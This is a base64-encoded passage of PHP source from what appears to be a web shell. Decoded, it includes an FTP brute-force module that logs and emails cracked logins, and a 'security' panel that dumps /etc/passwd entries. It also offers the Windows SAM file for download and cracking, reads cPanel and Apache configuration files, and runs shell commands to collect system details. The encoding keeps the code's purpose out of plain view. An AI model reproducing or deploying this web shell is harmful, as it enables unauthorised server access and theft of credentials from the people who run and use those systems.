MF0sJHN0clswXSwkc3RyWzZdLCRmcWJfb25seXdpdGhzaCkpIHsKICAgICAgICAgIGVjaG8gIjxi
PkNvbm5lY3RlZCB0byAiLmdldGVudigiU0VSVkVSX05BTUUiKS4iIHdpdGggbG9naW4gXCIiLiRz
dHJbMF0uIlwiIGFuZCBwYXNzd29yZCBcIiIuJHN0clswXS4iXCI8L2I+PGJyPiI7CiAgICAgICAg
ICAkZnFiX2xvZyAuPSAiQ29ubmVjdGVkIHRvICIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiIgd2l0
aCBsb2dpbiBcIiIuJHN0clswXS4iXCIgYW5kIHBhc3N3b3JkIFwiIi4kc3RyWzBdLiJcIiwgYXQg
Ii5kYXRlKCJkLm0uWSBIOmk6cyIpLiJcclxuIjsKICAgICAgICAgIGlmICgkZnFiX2xvZ2ZwKSB7
ZnNlZWsoJGZxYl9sb2dmcCwwKTsgZndyaXRlKCRmcWJfbG9nZnAsJGZxYl9sb2csc3RybGVuKCRm
cWJfbG9nKSk7fQogICAgICAgICAgJHN1Y2Nlc3MrKzsKICAgICAgICAgIG9iX2ZsdXNoKCk7CiAg
ICAgICAgfQogICAgICAgIGlmICgkaSA+ICRmcWJfbGVuZ2h0KSB7YnJlYWs7fQogICAgICAgICRp
Kys7CiAgICAgIH0KICAgICAgaWYgKCRzdWNjZXNzID09IDApIHtlY2hvICJObyBzdWNjZXNzLiBj
b25uZWN0aW9ucyEiOyAkZnFiX2xvZyAuPSAiTm8gc3VjY2Vzcy4gY29ubmVjdGlvbnMhXHJcbiI7
fQogICAgICAkZnRwcXVpY2tfdCA9IHJvdW5kKGdldG1pY3JvdGltZSgpLSRmdHBxdWlja19zdCw0
KTsKICAgICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT48Yj5Eb25lITwvYj48YnI+VG90
YWwgdGltZSAoc2Vjcy4pOiAiLiRmdHBxdWlja190LiI8YnI+VG90YWwgY29ubmVjdGlvbnM6ICIu
JGkuIjxicj5TdWNjZXNzLjogPGZvbnQgY29sb3I9Z3JlZW4+PGI+Ii4kc3VjY2Vzcy4iPC9iPjwv
Zm9udD48YnI+VW5zdWNjZXNzLjoiLigkaS0kc3VjY2VzcykuIjwvYj48YnI+Q29ubmVjdHMgcGVy
IHNlY29uZDogIi5yb3VuZCgkaS8kZnRwcXVpY2tfdCwyKS4iPGJyPiI7CiAgICAgICRmcWJfbG9n
IC49ICJcclxuLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcbkRv
bmUhXHJcblRvdGFsIHRpbWUgKHNlY3MuKTogIi4kZnRwcXVpY2tfdC4iXHJcblRvdGFsIGNvbm5l
Y3Rpb25zOiAiLiRpLiJcclxuU3VjY2Vzcy46ICIuJHN1Y2Nlc3MuIlxyXG5VbnN1Y2Nlc3MuOiIu
KCRpLSRzdWNjZXNzKS4iXHJcbkNvbm5lY3RzIHBlciBzZWNvbmQ6ICIucm91bmQoJGkvJGZ0cHF1
aWNrX3QsMikuIlxyXG4iOwogICAgICBpZiAoJGZxYl9sb2dmcCkge2ZzZWVrKCRmcWJfbG9nZnAs
MCk7IGZ3cml0ZSgkZnFiX2xvZ2ZwLCRmcWJfbG9nLHN0cmxlbigkZnFiX2xvZykpO30KICAgICAg
aWYgKCRmcWJfbG9nZW1haWwpIHtAbWFpbCgkZnFiX2xvZ2VtYWlsLCIiLiRzaF9uYW1lLiIgcmVw
b3J0IiwkZnFiX2xvZyk7fQogICAgICBmY2xvc2UoJGZxYl9sb2dmcCk7CiAgICB9CiAgfQogIGVs
c2UgewogICAgJGxvZ2ZpbGUgPSAkdG1wZGlyX2xvZ3MuImNhX2Z0cHF1aWNrYnJ1dGVfIi5kYXRl
KCJkLm0uWV9IX2lfcyIpLiIubG9nIjsKICAgICRsb2dmaWxlID0gc3RyX3JlcGxhY2UoIi8vIixE
SVJFQ1RPUllfU0VQQVJBVE9SLCRsb2dmaWxlKTsKICAgIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIu
JHN1cmwuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXggdmFsdWU9XCJmdHBxdWlja2JydXRl
XCI+Ii4KICAgICAgICAgIlJlYWQgZmlyc3Q6PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1l
PVwiZnFiX2xlbmdodFwiIHZhbHVlPVwiIi4kbml4cHdkcGVycGFnZS4iXCI+PC90ZD48L3RyPiIu
CiAgICAgICAgICI8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1l
PVwiZnFiX29ubHl3aXRoc2hcIiB2YWx1ZT1cIjFcIj4gVXNlcnMgb25seSB3aXRoIHNoZWxsPC90
ZD48L3RyPiIuCiAgICAgICAgICI8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwiY2hlY2ti
b3hcIiBuYW1lPVwiZnFiX2xvZ2dpbmdcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPkxvZ2dpbmc8L3Rk
PjwvdHI+Ii4KICAgICAgICAgIjx0cj48dGQ+TG9nZ2luZyB0byBmaWxlOjwvdGQ+PHRkPjxpbnB1
dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJmcWJfbG9nZmlsZVwiIHZhbHVlPVwiIi4kbG9nZmlsZS4i
XCIgc2l6ZT1cIiIuKHN0cmxlbigkbG9nZmlsZSkrMiooc3RybGVuKCRsb2dmaWxlKS8xMCkpLiJc
Ij48L3RkPjwvdHI+Ii4KICAgICAgICAgIjx0cj48dGQ+TG9nZ2luZyB0byBlLW1haWw6PC90ZD48
dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImZxYl9sb2dlbWFpbFwiIHZhbHVlPVwiIi4k
bG9nX2VtYWlsLiJcIiBzaXplPVwiIi4oc3RybGVuKCRsb2dlbWFpbCkrMiooc3RybGVuKCRsb2dl
bWFpbCkvMTApKS4iXCI+PC90ZD48L3RyPiIuCiAgICAgICAgICI8dHI+PHRkIGNvbHNwYW49Mj48
aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJCcnV0ZVwiPjwvZm9ybT4iOwog
IH0KICBlY2hvICI8L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj4iOwp9Cn0KaWYgKCR4ID09ICJk
IikgewppZiAoIWlzX2RpcigkZCkpIHsgZWNobyAiPGNlbnRlcj48Yj4kZCBpcyBhIG5vdCBhIERp
cmVjdG9yeSE8L2I+PC9jZW50ZXI+IjsgfQplbHNlIHsKICBlY2hvICI8Yj5EaXJlY3RvcnkgaW5m
b3JtYXRpb246PC9iPjx0YWJsZSBib3JkZXI9MCBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+
IjsKICBpZiAoISR3aW4pIHsKICAgZWNobyAiPHRyPjx0ZD48Yj5Pd25lci9Hcm91cDwvYj48L3Rk
Pjx0ZD4gIjsKICAgJG93ID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRkKSk7CiAgICRnciA9
IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkZCkpOwogICAkcm93W10gPSAoJG93WyJuYW1lIl0/
JG93WyJuYW1lIl06ZmlsZW93bmVyKCRkKSkuIi8iLigkZ3JbIm5hbWUiXT8kZ3JbIm5hbWUiXTpm
aWxlZ3JvdXAoJGQpKTsKICB9CiAgZWNobyAiPHRyPjx0ZD48Yj5QZXJtczwvYj48L3RkPjx0ZD48
YSBocmVmPVwiIi4kc3VybC4ieD1jaG1vZCZkPSIudXJsZW5jb2RlKCRkKS4iXCI+PGI+Ii52aWV3
X3Blcm1zX2NvbG9yKCRkKS4iPC9iPjwvYT48dHI+PHRkPjxiPkNyZWF0ZSB0aW1lPC9iPjwvdGQ+
PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlY3RpbWUoJGQpKS4iPC90ZD48L3RyPjx0cj48
dGQ+PGI+QWNjZXNzIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVh
dGltZSgkZCkpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5NT0RJRlkgdGltZTwvYj48L3RkPjx0ZD4g
Ii5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZW10aW1lKCRkKSkuIjwvdGQ+PC90cj48L3RhYmxlPiI7
Cn0KfQppZiAoJHggPT0gInBocGluZm8iKSB7QG9iX2NsZWFuKCk7IHBocGluZm8oKTsgY2Fwcml2
OGV4aXQoKTt9CmlmICgkeCA9PSAic2VjdXJpdHkiKSB7CiAgZWNobyAiPGRpdiBjbGFzcz1iYXJo
ZWFkZXI+LjogU2VydmVyIFNlY3VyaXR5IEluZm9ybWF0aW9uIDouPC9kaXY+Ii4KICAgICAgICI8
dGFibGU+Ii4KICAgICAgICI8dHI+PHRkPk9wZW4gQmFzZSBEaXI8L3RkPjx0ZD4iLiRob3BlbmJh
c2VkaXIuIjwvdGQ+PC90cj4iOwogIGVjaG8gIjx0ZD5QYXNzd29yZCBGaWxlPC90ZD48dGQ+IjsK
ICBpZiAoISR3aW4pIHsKICAgIGlmICgkbml4cGFzc3dkKSB7CiAgICAgIGlmICgkbml4cGFzc3dk
ID09IDEpIHskbml4cGFzc3dkID0gMDt9CiAgICAgIGVjaG8gIipuaXggL2V0Yy9wYXNzd2Q6PGJy
PiI7CiAgICAgIGlmICghaXNfbnVtZXJpYygkbml4cHdkX3MpKSB7JG5peHB3ZF9zID0gMDt9CiAg
ICAgIGlmICghaXNfbnVtZXJpYygkbml4cHdkX2UpKSB7JG5peHB3ZF9lID0gJG5peHB3ZHBlcnBh
Z2U7fQogICAgICBlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIj48aW5wdXQgdHlwZT1o
aWRkZW4gbmFtZT14IHZhbHVlPVwic2VjdXJpdHlcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1c
Im5peHBhc3N3ZFwiIHZhbHVlPVwiMVwiPjxiPkZyb206PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwi
dGV4dD1cIiBuYW1lPVwibml4cHdkX3NcIiB2YWx1ZT1cIiIuJG5peHB3ZF9zLiJcIj4mbmJzcDs8
Yj5Ubzo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm5peHB3ZF9lXCIgdmFs
dWU9XCIiLiRuaXhwd2RfZS4iXCI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiVmll
d1wiPjwvZm9ybT48YnI+IjsKICAgICAgJGkgPSAkbml4cHdkX3M7CiAgICAgIHdoaWxlICgkaSA8
ICRuaXhwd2RfZSkgewogICAgICAgICR1aWQgPSBwb3NpeF9nZXRwd3VpZCgkaSk7CiAgICAgICAg
aWYgKCR1aWQpIHsKICAgICAgICAgICR1aWRbImRpciJdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4
PWxzJmQ9Ii51cmxlbmNvZGUoJHVpZFsiZGlyIl0pLiJcIj4iLiR1aWRbImRpciJdLiI8L2E+IjsK
ICAgICAgICAgIGVjaG8gam9pbigiOiIsJHVpZCkuIjxicj4iOwogICAgICAgIH0KICAgICAgICAk
aSsrOwogICAgICB9CiAgICB9CiAgICBlbHNlIHtlY2hvICI8YSBocmVmPVwiIi4kc3VybC4ieD1z
ZWN1cml0eSZuaXhwYXNzd2Q9MSZkPSIuJHVkLiJcIj48Yj48dT5HZXQgL2V0Yy9wYXNzd2Q8L3U+
PC9iPjwvYT4iO30KICB9CiAgZWxzZSB7CiAgICAkdiA9ICRfU0VSVkVSWyJXSU5ESVIiXS4iXHJl
cGFpclxzYW0iOwogICAgaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCR2KSkge2VjaG8gIjx0ZCBjb2xz
cGFuPTI+PGRpdiBjbGFzcz1meGVycm1zZz5Zb3UgY2FuJ3QgY3JhY2sgV2luZG93cyBwYXNzd29y
ZHMoIi4kdi4iKTwvZGl2PjwvdGQ+PC90cj4iOyB9CiAgICBlbHNlIHtlY2hvICJZb3UgY2FuIGNy
YWNrIFdpbmRvd3MgcGFzc3dvcmRzLiA8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9c2FtJmQ9Ii4k
X1NFUlZFUlsiV0lORElSIl0uIlxccmVwYWlyJmZ0PWRvd25sb2FkXCI+PHU+PGI+RG93bmxvYWQ8
L2I+PC91PjwvYT4sIGFuZCB1c2UgbGNwLmNyYWNrKyA/LjwvdGQ+PC90cj4iO30KICB9CiAgZWNo
byAiPC90ZD48L3RyPiI7CiAgZWNobyAiPHRyPjx0ZD5Db25maWcgRmlsZXM8L3RkPjx0ZD4iOwog
IGlmICghJHdpbikgewogICAgJHYgPSBhcnJheSgKICAgICAgICBhcnJheSgiVXNlciBEb21haW5z
IiwiL2V0Yy91c2VyZG9tYWlucyIpLAogICAgICAgIGFycmF5KCJDcGFuZWwgQ29uZmlnIiwiL3Zh
ci9jcGFuZWwvYWNjb3VudGluZy5sb2ciKSwKICAgICAgICBhcnJheSgiQXBhY2hlIENvbmZpZyIs
Ii91c3IvbG9jYWwvYXBhY2hlL2NvbmYvaHR0cGQuY29uZiIpLAogICAgICAgIGFycmF5KCJBcGFj
aGUgQ29uZmlnIiwiL2V0Yy9odHRwZC5jb25mIiksCiAgICAgICAgYXJyYXkoIlN5c2xvZyBDb25m
aWciLCIvZXRjL3N5c2xvZy5jb25mIiksCiAgICAgICAgYXJyYXkoIk1lc3NhZ2Ugb2YgVGhlIERh
eSIsIi9ldGMvbW90ZCIpLAogICAgICAgIGFycmF5KCJIb3N0cyIsIi9ldGMvaG9zdHMiKQogICAg
KTsKICAgICRzZXAgPSAiLyI7CiAgfQogIGVsc2UgewogICAgJHdpbmRpciA9ICRfU0VSVkVSWyJX
SU5ESVIiXTsKICAgICRldGNkaXIgPSAkd2luZGlyIC4gIlxzeXN0ZW0zMlxkcml2ZXJzXGV0Y1xc
IjsKICAgICR2ID0gYXJyYXkoCiAgICAgICAgYXJyYXkoIkhvc3RzIiwkZXRjZGlyLiJob3N0cyIp
LAogICAgICAgIGFycmF5KCJMb2NhbCBOZXR3b3JrIE1hcCIsJGV0Y2Rpci4ibmV0d29ya3MiKSwK
ICAgICAgICBhcnJheSgiTE0gSG9zdHMiLCRldGNkaXIuImxtaG9zdHMuc2FtIiksCiAgICApOwog
ICAgJHNlcCA9ICJcXCI7CiAgfQogIGZvcmVhY2ggKCR2IGFzICRzZWNfYXJyKSB7CiAgICAkc2Vj
X2YgPSBzdWJzdHIoc3RycmNocigkc2VjX2FyclsxXSwgJHNlcCksIDEpOwogICAgJHNlY19kID0g
cnRyaW0oJHNlY19hcnJbMV0sJHNlY19mKTsKICAgICRzZWNfZnVsbCA9ICRzZWNfZC4kc2VjX2Y7
CiAgICAkc2VjX2QgPSBydHJpbSgkc2VjX2QsJHNlcCk7CiAgICBpZiAoZmlsZV9nZXRfY29udGVu
dHMoJHNlY19mdWxsKSkgewogICAgICBlY2hvICIgWyA8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9
JHNlY19mJmQ9Ii51cmxlbmNvZGUoJHNlY19kKS4iJmZ0PXR4dFwiPjx1PjxiPiIuJHNlY19hcnJb
MF0uIjwvYj48L3U+PC9hPiBdICI7CiAgICB9CiAgfQogIGVjaG8gIjwvdGQ+PC90cj4iOwoKICBm
dW5jdGlvbiBkaXNwbGF5c2VjaW5mbygkbmFtZSwkdmFsdWUpIHsKICAgIGlmICghZW1wdHkoJHZh
bHVlKSkgewogICAgICBlY2hvICI8dHI+PHRkPiIuJG5hbWUuIjwvdGQ+PHRkPjxwcmU+Ii53b3Jk
d3JhcCgkdmFsdWUsMTAwKS4iPC9wcmU+PC90ZD48L3RyPiI7CiAgICB9CiAgfQogIGlmICghJHdp
bikgewogICAgZGlzcGxheXNlY2luZm8oIk9TIFZlcnNpb24iLG15c2hlbGxleGVjKCJjYXQgL3By
b2MvdmVyc2lvbiIpKTsKICAgIGRpc3BsYXlzZWNpbmZvKCJLZXJuZWwgVmVyc2lvbiIsbXlzaGVs
bGV4ZWMoInN5c2N0bCAtYSB8IGdyZXAgdmVyc2lvbiIpKTsKICAgIGRpc3BsYXlzZWNpbmZvKCJE
aXN0cmliIE5hbWUiLG15c2hlbGxleGVjKCJjYXQgL2V0Yy9pc3N1ZS5uZXQiKSk7CiAgICBkaXNw
bGF5c2VjaW5mbygiRGlzdHJpYiBOYW1lICgyKSIsbXlzaGVsbGV4ZWMoImNhdCAvZXRjLyotcmVh
bGlzZSIpKTsKICAgIGRpc3BsYXlzZWNpbmZvKCJDUFUgSW5mbyIsbXlzaGVsbGV4ZWMoImNhdCAv
cHJvYy9jcHVpbmZvIikpOwogICAgZGlzcGxheXNlY2luZm8oIlJBTSIsbXlzaGVsbGV4ZWMoImZy
ZWUgLW0iKSk7CiAgICBkaXNwbGF5c2VjaW5mbygiSEREIFNwYWNlIixteXNoZWxsZXhlYygiZGYg
LWgiKSk7CiAgICBkaXNwbGF5c2VjaW5mbygiTGlzdCBvZiBBdHRyaWJ1dGVzIixteXNoZWxsZXhl
YygibHNhdHRyIC1hIikpOwogICAgZGlzcGxheXNlY2luZm8oIk1vdW50IE9wdGlvbnMiLG15c2hl
bGxleGVjKCJjYXQgL2V0Yy9mc3RhYiIpKTsKICAgIGRpc3BsYXlzZWNpbmZvKCJjVVJMIGluc3Rh
bGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBjdXJsIikpOwogICAgZGlzcGxheXNlY2luZm8oImx5
bnggaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndoaWNoIGx5bngiKSk7CiAgICBkaXNwbGF5c2Vj
aW5mbygibGlua3MgaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndoaWNoIGxpbmtzIikpOwogICAg
ZGlzcGxheXNlY2luZm8oImZldGNoIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBmZXRj
aCIpKTsKICAgIGRpc3BsYXlzZWNpbmZvKCJHRVQgaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndo
aWNoIEdFVCIpKTsKICAgIGRpc3BsYXlzZWNpbmZvKCJwZXJsIGluc3RhbGxlZD8iLG15c2hlbGxl
eGVjKCJ3aGljaCBwZXJsIikpOwogICAgZGlzcGxheXNlY2luZm8oIldoZXJlIGlzIEFwYWNoZT8i
LG15c2hlbGxleGVjKCJ3aGVyZWlzIGFwYWNoZSIpKTsKICAgIGRpc3BsYXlzZWNpbmZvKCJXaGVy
ZSBpcyBwZXJsPyIsbXlzaGVsbGV4ZWMoIndoZXJlaXMgcGVybCIpKTsKICAgIGRpc3BsYXlzZWNp
bmZvKCJMb2NhdGUgcHJvZnRwZC5jb25mIixteXNoZWxsZXhlYygibG9jYXRlIHByb2Z0cGQuY29u
ZiIpKTsKICAgIGRpc3BsYXlzZWNpbmZvKCJMb2NhdGUgaHR0cGQuY29uZiIsbXlzaGVsbGV4ZWMo
ImxvY2F0ZSBodHRwZC5jb25mIikpOwogICAgZGlzcGxheXNlY2luZm8oIkxvY2F0ZSBteS5jb25m
IixteXNoZWxsZXhlYygibG9jYXRlIG15LmNvbmYiKSk7CiAgICBkaXNwbGF5c2VjaW5mbygiTG9j
YXRlIHBzeWJuYy5jb25mIixteXNoZWxsZXhlYygibG9jYXRlIHBzeWJuYy5jb25mIikpOwogIH0K
ICBlbHNlIHsKICAgIGRpc3BsYXlzZWNpbmZvKCJPUyBWZXJzaW9uIixteXNoZWxsZXhlYygidmVy
IikpOwogICAgZGlzcGxheXNlY2luZm8oIkFjY291bnQgU2V0dGluZ3MiLG15c2hlbGxleGVjKCJu
ZXQgYWNjb3VudHMiKSk7CiAgfQogIGVjaG8gIjwvdGFibGU+XG4iOwp9CmlmICgkeCA9PSAibWtm
aWxlIikgewppZiAoJG1rZmlsZSAhPSAkZCkgewogIGlmIChmaWxlX2V4aXN0cygkbWtmaWxlKSkg
e2VjaG8gIjxiPk1ha2UgRmlsZSBcIiIuaHRtbHNwZWNpYWxjaGFycygkbWtmaWxlKS4iXCI8L2I+
OiBvYmplY3QgYWxyZWFkeSBleGlzdHMhIjt9CiAgZWxzZWlmICghZm9wZW4oJG1rZmlsZSwidyIp
KSB7ZWNobyAiPGI+TWFrZSBGaWxlIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2ZpbGUpLiJcIjwv
Yj46IGFjY2VzcyBkZW5pZWQhIjt9CiAgZWxzZSB7JHggPSAiZiI7ICRkID0gZGlybmFtZSgkbWtm
aWxlKTsgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJ
UkVDVE9SWV9TRVBBUkFUT1I7fSAkZiA9IGJhc2VuYW1lKCRta2ZpbGUpO30KfQplbHNlIHskeCA9
ICRkc3BhY3QgPSAibHMiO30KfQppZiAoJHggPT0gImVuY29kZXIiKSB7CmVjaG8gIjxzY3JpcHQg
bGFuZ3VhZ2U9XCJqYXZhc2NyaXB0XCI+ZnVuY3Rpb24gc2V0X2VuY29kZXJfaW5wdXQodGV4dCkg
e2RvY3VtZW50LmZvcm1zLmVuY29kZXIuaW5wdXQudmFsdWUgPSB0ZXh0O308L3NjcmlwdD4iLgog
ICAgICI8Zm9ybSBuYW1lPVwiZW5jb2RlclwiIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1Q
T1NUPiIuCiAgICAgIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXggdmFsdWU9ZW5jb2Rlcj4iLgog
ICAgICI8Y2VudGVyPjx0YWJsZSBjbGFzcz1jb250ZW50cz4iLgogICAgICI8dHI+PHRkIGNvbHNw
YW49NCBjbGFzcz1iYXJoZWFkZXI+LjogRW5jb2RlciA6LjwvdGQ+Ii4KICAgICAiPHRyPjx0ZCBj
b2xzcGFuPTI+SW5wdXQ6PC90ZD48dGQ+PHRleHRhcmVhIG5hbWU9XCJlbmNvZGVyX2lucHV0XCIg
aWQ9XCJpbnB1dFwiIGNvbHM9NzAgcm93cz01PiIuQGh0bWxzcGVjaWFsY2hhcnMoJGVuY29kZXJf
aW5wdXQpLiI8L3RleHRhcmVhPjxicj4iLgogICAgICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9
XCJjYWxjdWxhdGVcIj48L3RkPjwvdHI+Ii4KICAgICAiPHRyPjx0ZCByb3dzcGFuPTQ+SGFzaGVz
OjwvdGQ+IjsKZm9yZWFjaChhcnJheSgibWQ1IiwiY3J5cHQiLCJzaGExIiwiY3JjMzIiKSBhcyAk
dikgewogIGVjaG8gIjx0ZD4iLiR2LiI6PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTUw
IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIg
b25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuJHYoJGVuY29kZXJfaW5wdXQp
LiJcIiByZWFkb25seT48L3RkPjwvdHI+PHRyPiI7Cn0KZWNobyAiPC90cj4iLgogICAgICI8dHI+
PHRkIHJvd3NwYW49Mj5Vcmw6PC90ZD4iLgogICAgICI8dGQ+dXJsZW5jb2RlOjwvdGQ+PHRkPjxp
bnB1dCB0eXBlPXRleHQgc2l6ZT0zNSBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2Vv
dmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9
XCIiLnVybGVuY29kZSgkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5PjwvdGQ+PC90cj4iLgog
ICAgICI8dHI+PHRkPnVybGRlY29kZTo8L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUg
b25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBv
bk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKHVy
bGRlY29kZSgkZW5jb2Rlcl9pbnB1dCkpLiJcIiByZWFkb25seT48L3RkPjwvdHI+Ii4KICAgICAi
PHRyPjx0ZCByb3dzcGFuPTI+QmFzZTY0OjwvdGQ+Ii4KICAgICAiPHRkPmJhc2U2NF9lbmNvZGU6
PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgp
XCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0
KClcIiB2YWx1ZT1cIiIuYmFzZTY0X2VuY29kZSgkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5
PjwvdGQ+PC90cj4iLgogICAgICI8dHI+PHRkPmJhc2U2NF9kZWNvZGU6PC90ZD48dGQ+IjsKaWYg
KGJhc2U2NF9lbmNvZGUoYmFzZTY0X2RlY29kZSgkZW5jb2Rlcl9pbnB1dCkpICE9ICRlbmNvZGVy
X2lucHV0KSB7ZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IHZhbHVlPVwiRmFpbGVkIVwi
IGRpc2FibGVkIHJlYWRvbmx5PiI7fQplbHNlIHsKICAkZGViYXNlNjQgPSBiYXNlNjRfZGVjb2Rl
KCRlbmNvZGVyX2lucHV0KTsKICAkZGViYXNlNjQgPSBzdHJfcmVwbGFjZSgiXDAiLCJbMF0iLCRk
ZWJhc2U2NCk7CiAgJGEgPSBleHBsb2RlKCJcclxuIiwkZGViYXNlNjQpOwogICRyb3dzID0gY291
bnQoJGEpOwogICRkZWJhc2U2NCA9IGh0bWxzcGVjaWFsY2hhcnMoJGRlYmFzZTY0KTsKICBpZiAo
JHJvd3MgPT0gMSkgeyBlY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRo
aXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwi
dGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi4kZGViYXNlNjQuIlwiIGlkPVwiZGViYXNlNjRcIiBy
ZWFkb25seT4iOyB9CiAgZWxzZSB7ICRyb3dzKys7IGVjaG8gIjx0ZXh0YXJlYSBjb2xzPVwiNDBc
IiByb3dzPVwiIi4kcm93cy4iXCIgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zl
cj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIGlkPVwiZGVi
YXNlNjRcIiByZWFkb25seT4iLiRkZWJhc2U2NC4iPC90ZXh0YXJlYT4iOyB9CiAgZWNobyAiJm5i
c3A7PGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwic2V0X2VuY29kZXJfaW5wdXQoZG9jdW1lbnQuZm9y
bXMuZW5jb2Rlci5kZWJhc2U2NC52YWx1ZSlcIj5bU2VuZCB0byBpbnB1dF08L2E+IjsKfQplY2hv
ICI8L3RkPjwvdHI+Ii4KICAgICAiPHRyPjx0ZD5CYXNlIGNvbnZlcnRhdGlvbnM6PC90ZD48dGQ+
ZGVjMmhleDwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSBvbkZvY3VzPVwidGhpcy5z
ZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlz
LnNlbGVjdCgpXCIgdmFsdWU9XCIiOwokYyA9IHN0cmxlbigkZW5jb2Rlcl9pbnB1dCk7CmZvcigk
aT0wOyRpPCRjOyRpKyspIHsKICAkaGV4ID0gZGVjaGV4KG9yZCgkZW5jb2Rlcl9pbnB1dFskaV0p
KTsKICBpZiAoJGVuY29kZXJfaW5wdXRbJGldID09ICImIikge2VjaG8gJGVuY29kZXJfaW5wdXRb
JGldO30KICBlbHNlaWYgKCRlbmNvZGVyX2lucHV0WyRpXSAhPSAiXFwiKSB7ZWNobyAiJSIuJGhl
eDt9Cn0KZWNobyAiXCIgcmVhZG9ubHk+PC90ZD48L3RyPjwvdGFibGU+PC9jZW50ZXI+PC9mb3Jt
PiI7Cn0KaWYgKCR4ID09ICJmc2J1ZmYiKSB7CiAgJGFycl9jb3B5ID0gJHNlc3NfZGF0YVsiY29w
eSJdOwogICRhcnJfY3V0ID0gJHNlc3NfZGF0YVsiY3V0Il07CiAgJGFyciA9IGFycmF5X21lcmdl
KCRhcnJfY29weSwkYXJyX2N1dCk7CiAgaWYgKGNvdW50KCRhcnIpID09IDApIHtlY2hvICI8aDI+
PGNlbnRlcj5CdWZmZXIgaXMgZW1wdHkhPC9jZW50ZXI+PC9oMj4iO30KICBlbHNlIHsKICAgICRm
eF9pbmZvaGVhZCA9ICJGaWxlLVN5c3RlbSBCdWZmZXIiOwogICAgJGxzX2FyciA9ICRhcnI7CiAg
ICAkZGlzcF9mdWxscGF0aCA9IFRSVUU7CiAgICAkeCA9ICJscyI7CiAgfQp9CmlmICgkeCA9PSAi
